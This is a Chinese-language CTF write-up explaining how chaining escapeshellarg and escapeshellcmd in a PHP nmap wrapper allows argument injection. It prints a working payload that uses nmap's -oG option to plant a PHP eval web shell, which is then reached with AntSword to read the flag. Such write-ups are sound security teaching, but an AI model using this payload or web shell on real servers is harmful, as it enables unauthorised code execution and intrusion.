因為國慶放假和最近一直在換系統的緣故有一段時間沒有更新,這是我在ubuntu上寫的第一篇文章;
打開題目得到如下原始碼:
1 <?php 2 3 if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { 4 $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR']; 5 } 6 7 if(!isset($_GET['host'])) { 8 highlight_file(__FILE__); 9 } else { 10 $host = $_GET['host']; 11 $host = escapeshellarg($host); 12 $host = escapeshellcmd($host); 13 $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']); 14 echo 'you are in sandbox '.$sandbox; 15 @mkdir($sandbox); 16 chdir($sandbox); 17 echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host); 18 } 19 ?>
可以看到在代碼第11和12行的地方連續依次使用了escapeshellarg,escapeshellcmd 函式,對于我這種菜雞來說沒見過的函式那必然是這個題目的考點,百度之后可以找到一個很有名的叫做'PHP escapeshellarg()+escapeshellcmd() 之殤'的文章,這里提供了這道題的主要思路:
關于兩個函式的介紹如下
escapeshellarg — 把字串轉碼為可以在 shell 命令里使用的引數
功能 :escapeshellarg() 將給字串增加一個單引號并且能參考或者轉碼任何已經存在的單引號,這樣以確保能夠直接將一個字串傳入 shell 函式,shell 函式包含 exec(), system() 執行運算子(反引號)
定義 :
string escapeshellarg ( string $arg )
escapeshellcmd — shell 元字符轉義
功能:escapeshellcmd() 對字串中可能會欺騙 shell 命令執行任意命令的字符進行轉義, 此函式保證用戶輸入的資料在傳送到 exec() 或 system() 函式,或者 執行運算子 之前進行轉義,
反斜線(\)會在以下字符之前插入: &#;`|\?~<>^()[]{}$*, \x0A 和 \xFF*, *’ 和 “ 僅在不配對兒的時候被轉義, 在 Windows 平臺上,所有這些字符以及 % 和 ! 字符都會被空格代替,
定義 :
string escapeshellcmd ( string $command)
題目代碼中要傳入一個host的值,如果我們傳入的引數是127.0.0.1' shellcode 那么先由escapeshellarg()處理成 '127.0.0.1'\'' shellcode'即先對單引號轉義,再用單引號將左右兩部分括起來從而起到連接的作用,再經過escapeshellcmd()處理后變成 '127.0.0.1'\\'' shellcode \'即escapeshellcmd對\以及最后那個不配對的單引號進行了轉義,最后執行的命令是 curl '127.0.0.1'\\'' shellcode \',由于中間的\\被解釋為\而不再是轉義字符,所以后面的'沒有被轉義,與再后面的'配對兒成了一個空白連接符,所以可以簡化為curl 127.0.0.1\ shellcode'(相關知識:Linux Shell 單引號 雙引號 使用區別)
再回到本題,我們只需要構造引數進行閉合造成注入即可,nmap中有一個可以利用的引數-oG能夠幫我們將字串寫入一個檔案中:可以想到寫入一句話木馬連接shell獲取flag:
我們需要linux服務器執行的命令為:nmap -T5 -sT -Pn --host-timeout 2 -F '<?php eval($_POST["a"]);?> -oG 1.php'
于是我們根據上面的分析將payload構造成 ?host=' <?php @eval($_POST["hack"]);?> -oG hack.php ' 前面的127.0.0.1我們可以不寫,然后在payload的最后面加上一個空格和單引號,單引號的目的是閉合處理后得到的最后那個單引號,如果不加空格的話檔案最后面會變成'\\'''即檔案最后面會多出來\\,加了空格之后會變成 hack.php \ ,不影響命令的執行,
寫入之后會回傳sandbox編號,之間蟻劍連接shell 到根目錄下面cat flag就能讀取到flag,
gg
參考:
- https://blog.csdn.net/qq_26406447/article/details/100711933
- https://www.dazhuanlan.com/2020/03/01/5e5aef3248649/?__cf_chl_jschl_tk__=abc8b79a01976e645edc673ee5981c12a400f0aa-1602337962-0-AX16Af1CNl7wtmryWDqZBU4qpbe_o9rEf-EFwqCE9EiBbbix_Izp_UuYurjG5vTe7An2jgzrCwjw0ypmbHcN1XYXqDsk2WAz7yA0lWMdtjSbJ8Ut_yOt1QBjzN2bcteQYX8UDwxCfSrS2wIijY7nmlneAwsXOE7lIw8HwbCoLuBawMpRKBX-T-45Q06HNia7h9JgoOM7CvQO2bBQXsSBpwqNPfFYgjnaYvY3yNmtZfJGQDlFBZcdD9y_tryUHNg-ATypJHiGNylUhA2A8oy7EDP92RkiyFvRVIOea-p7vveANGoJgDzrWKEN-zoIvsY2LQ
- https://paper.seebug.org/164/
escapeshellarg — 把字串轉碼為可以在 shell 命令里使用的引數
功能 :escapeshellarg() 將給字串增加一個單引號并且能參考或者轉碼任何已經存在的單引號,這樣以確保能夠直接將一個字串傳入 shell 函式,shell 函式包含 exec(), system() 執行運算子(反引號)
定義 :
string escapeshellarg ( string $arg )
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/167275.html
標籤:其他
